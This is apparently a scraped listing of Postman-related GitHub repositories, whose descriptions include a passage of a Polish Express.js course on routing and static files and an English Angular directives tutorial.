zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią | 0 stars | 0 watchers | 0 forks |
|
MChodap1/postman-CI-demo collection, dependencies, node, postman collection |
This repository contains a node project with the dependencies to run postman collection | 0 stars | 0 watchers | 0 forks |
|
flftfqwxf/mockserver data, mock, mocks, mockserver, server, tool, tools |
Mockserver is a mock data tools and switch between mock data and real data,【一个用于前后分离时模拟数据的web系统，并可在直实数据与实际数据中自由切换】 | 317 stars | 317 watchers | 97 forks |
|
lezginaksoy/angular8-metronicAdmin-mockserver angular, metro, mock, mocks, mockserver, server |
Angular 8,Metronic Theme and Postman MockServer | 2 stars | 2 watchers | 1 forks |
|
haripriya12/edyst-s19-medium-clone-postman-mockserver clone, description, mock, mocks, mockserver, script, server |
No description available. | 0 stars | 0 watchers | 0 forks |
|
codeasashu/python-postman-restmocker application, example, exposes, flask, host, local, mock, mocks, python, rest |
This python exposes a flask application which mocks your postman example on localhost | 0 stars | 0 watchers | 0 forks |
|
NageshJoy007/api-tests-postman-mockserver mock, mocks, mockserver, server, server., smart, test, tests |
Write your api tests in a smart way using postman mock server. | 0 stars | 0 watchers | 0 forks |
|
mynewsdesk/postman email, event, filter, mail, news |
Search and filter Sendgrid email events | 5 stars | 5 watchers | 0 forks |
|
cynepton/Udagram-my-own-instagram-on-AWS application, city, client, cloud, degree, filter, image, microservice, node, process, register, service, user, users |
My edit of Udacity's Udagram image filtering microservice. This is also my project submission as part of my cloud Developer Nanodegree. Udagram is a simple cloud application developed alongside the Udacity Cloud Engineering Nanodegree. It allows users to register and log into a web client, post photos to the feed, and process photos using an image filtering microservice. | 1 stars | 1 watchers | 0 forks |
|
akshay1708/SportItems angular, filter, operation, operations |
Custom filter and pagination in angular js. MEAN stack app. Use postman for post and delete operations | 0 stars | 0 watchers | 0 forks |
|
mustafaalkan64/nodejs-express-filter-api-sample-project express, filter, node, nodejs, sample |
Nodejs Express Filter Api Sample Project | 0 stars | 0 watchers | 0 forks |
|
nikitaphopse/django_customer_base_project action, application, backend, behaviour, customer, data, database, default, django, environment, fields, filter, image, list, method, permissions, proving, query, relationship, search, security, sets, token, upload, verb, verbs, version, versions |
We will create a full project ( Customer Base ) with all database relationships, image upload and full control on what is happening behind the scenes. Introduction Preparing the environment Creating the base of the application ( Customer base app ) Setup of the Django Rest Framework Exposing an API for the Customer Endpoint Consuming this API with Google Chrome and Postman Creating the Endpoint for the all entities Personalizing the get_queryset method to provide a list of Customers with filters Override of the behaviour for the defaults HTTP verbs (Get, Post, Put, Patch, Delete ) Creating custom actions Using query strings Filtering querysets with DjangoFilter backend Enabling API search Custom lookup field Improving the API security with Tokens Custom permissions per token Nested relationships OneToOne ForeignKey ManyToMany Types of Serializers Nested serializers Function fields Types of ViewSets Enabling Pagination on your API Deploy on Heroku Updating versions of the application after deploy on Heroku | 0 stars | 0 watchers | 0 forks |
|
johntenezaca7/Postman-USG automat, automate, automated, monitor, monitoring, system, test, testing |
Using Postman's Newman and Jenkins to create a monitoring system for an automated testing suite. | 0 stars | 0 watchers | 0 forks |
|
rakiashi/goRest-API-validation-and-monitoring-using-POSTMAN description, monitor, monitoring, script, validation |
No description available. | 0 stars | 0 watchers | 0 forks |
|
ForgeRock/ob-postman-monitoring-lambda lambda, monitor, monitoring |
ob postman monitoring lambda | 0 stars | 0 watchers | 0 forks |
|
shruti-14/postman_collection_monitoring collection, data, elastic, monitor, monitoring, newman, node, postman collection, storing |
Monitoring postman collection using newman node and storing data in elastic serach | 0 stars | 0 watchers | 0 forks |
|
timmah1991/IDPA_Monitoring match, monitor, monitoring, notification, notify, public, script, user |
Simple postman monitoring script for notifying user when a new IDPA match is posted (before public notification) | 0 stars | 0 watchers | 0 forks |
|
sn0112358/Angular-Directive-Project access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps |
Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. | 0 stars | 0 watchers | 14 forks |
|
tobyokeke/laravel-model-export controller, export, laravel, model, properties |
Creates properties for JS from migrations and properties for Postman using request inputs from controllers in Laravel | 0 stars | 0 watchers | 0 forks |
|
